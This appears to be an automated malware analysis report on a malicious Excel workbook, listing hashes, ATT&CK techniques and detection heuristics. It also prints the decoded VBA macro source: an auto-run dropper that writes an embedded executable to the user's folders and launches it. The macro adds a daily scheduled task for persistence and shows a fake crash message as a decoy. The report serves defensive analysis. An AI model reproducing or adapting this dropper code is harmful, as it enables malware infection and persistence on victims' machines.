Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9ce56e1403469fc7…

MALICIOUS

Office (OLE)

478.5 KB Created: 2018-02-05 08:57:36 Authoring application: Microsoft Excel First seen: 2019-01-11
MD5: d751bcde259c1028ce4e626f3b2bba1a SHA-1: f93b6fc9e796ccc624cc139a7c3276e2f4389aa7 SHA-256: 9ce56e1403469fc74c8ff61dde4e83ad72597c66ce07bbae12fa70183687b32d
368 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains critical VBA macros, including a Workbook_Open event that triggers execution via WScript.Shell. This indicates the macro is designed to run commands, likely to download and execute a secondary payload. The presence of a 'Shell()' call and WScript.Shell usage strongly suggests an attempt to bypass user interaction and directly execute malicious code.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6444560-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6444560-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        doomday = "Setup"
        Call Shell(strProgramName, vbNormalFocus)
    End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set wShell = CreateObject("Wscript.Shell")
    cmd = "SchTasks /Create /SC DAILY /TN BigData /TR " + path_file + " /ST 09:30 "
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    path_file = "C:\Users\" + strUserName + "\Documents\Setup.exe"
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set wShell = CreateObject("Wscript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_open()
    Call microexcel
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4342 bytes
SHA-256: be8740706894ea73370731f0e088356069729d1b952b81fbed6a291c29043dc3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Call microexcel
Call Option_E
a = MsgBox("Microsoft Excel has stopped working", vbCritical, "Warning")
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Microsoft"
Attribute VB_Base = "0{F66E4258-2D81-467A-A7B4-66D117385A8D}{3492491F-5D15-4663-8B8F-FD73D371D3B0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub TextBox1_Change()

End Sub

Private Sub Excel_Change()

End Sub

Attribute VB_Name = "Module1"
Sub microexcel()
Call service
End Sub

Sub loadPro(strProgramName As String)
    Dim doomday As String
    Dim strArgument As String
    doomday = "Setup"
    Call Shell(strProgramName, vbNormalFocus)
End Sub



Sub WaitFo(NumOfSeconds As Long)
    Dim SngSec As Long
    Dim doomday As String
    doomday = "Setup"
    SngSec = Timer + NumOfSeconds
    Do While Timer < SngSec
        DoEvents
    Loop
    doomday = "Setup"
End Sub

Function ruString(cb As Integer) As String

   Randomize
    Dim rgch As String
    'rgch = "ghiabcdefjklqrstuvwmnopxyz"
    'rgch = rgch & UCase(rgch) & "1348906257"

    Dim i As Long
    For i = 1 To cb
        ruString = ruString & Mid$(rgch, Int(Rnd() * Len(rgch) + 1), 1)
    Next
        
End Function



Attribute VB_Name = "Module2"
 
    Sub service()
    Dim row As Long
    Dim path_file As String
    Dim path_doom As String
    Dim a As String
    Dim b As String
    Dim c As String
    Dim d As String
    Dim e As String
    Dim f As String
    Dim g As String
    Dim h As String
    Dim i As String
    Dim j As String
    Dim k As String
    Dim l As String
    Dim m As String
    Dim eno As String
    Dim eno1 As String
    Dim eno2 As String
    Dim eno3 As String
    Dim eno4 As String
    Dim eno5 As String
    Dim eno6 As String
    eno1 = "E"
    eno2 = "n"
    eno3 = "v"
    eno4 = "i"
    eno5 = "r"
    eno6 = "o"
    eno = "n"
    g = "A"
    h = "p"
    i = "p"
    j = "d"
    k = "a"
    l = "t"
    b = "\"
    d = ".e"
    e = "x"
    f = "e"
    strUserName = Application.UserName
    path_dom = "Setup"
    path_dom = ruString(6)
    path_file = "C:\Users\" + strUserName + "\AppData\Roaming" + "\" + path_dom + d + e + f
    path_dom = "dYT4B5RV3DCu"
    Dim ar() As String
    
    If Len(Dir(path_file)) = 0 Then
        ar = Split(Microsoft.Excel.Text, ",")
        path_dom = "Setup"
        Dim fileNum As Integer
        Open path_file For Binary As #1
        Seek #1, LOF(1) + 1
        For row = LBound(ar) To UBound(ar)
            Put #1, , CByte(ar(row))
      Next
        Close #1
         Call WaitFo(1)
         path_dom = "Setup"
     End If
     path_dom = "Setup.exe"
     loadPro path_file
     ''Workbooks.Add
     Sheet2.Copy
     ''ActiveWorkbook.Sheets.Copy
 '
     
End Sub

Attribute VB_Name = "Module3"
Sub Option_E()
Dim objFSO, outFile, wShell
Dim path_file As String
Dim strUserName As String
strUserName = Application.UserName
path_file = "C:\Users\" + strUserName + "\Documents\Setup.exe"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set wShell = CreateObject("Wscript.Shell")
cmd = "SchTasks /Create /SC DAILY /TN BigData /TR " + path_file + " /ST 09:30 "
wShell.Run cmd, 0
End Sub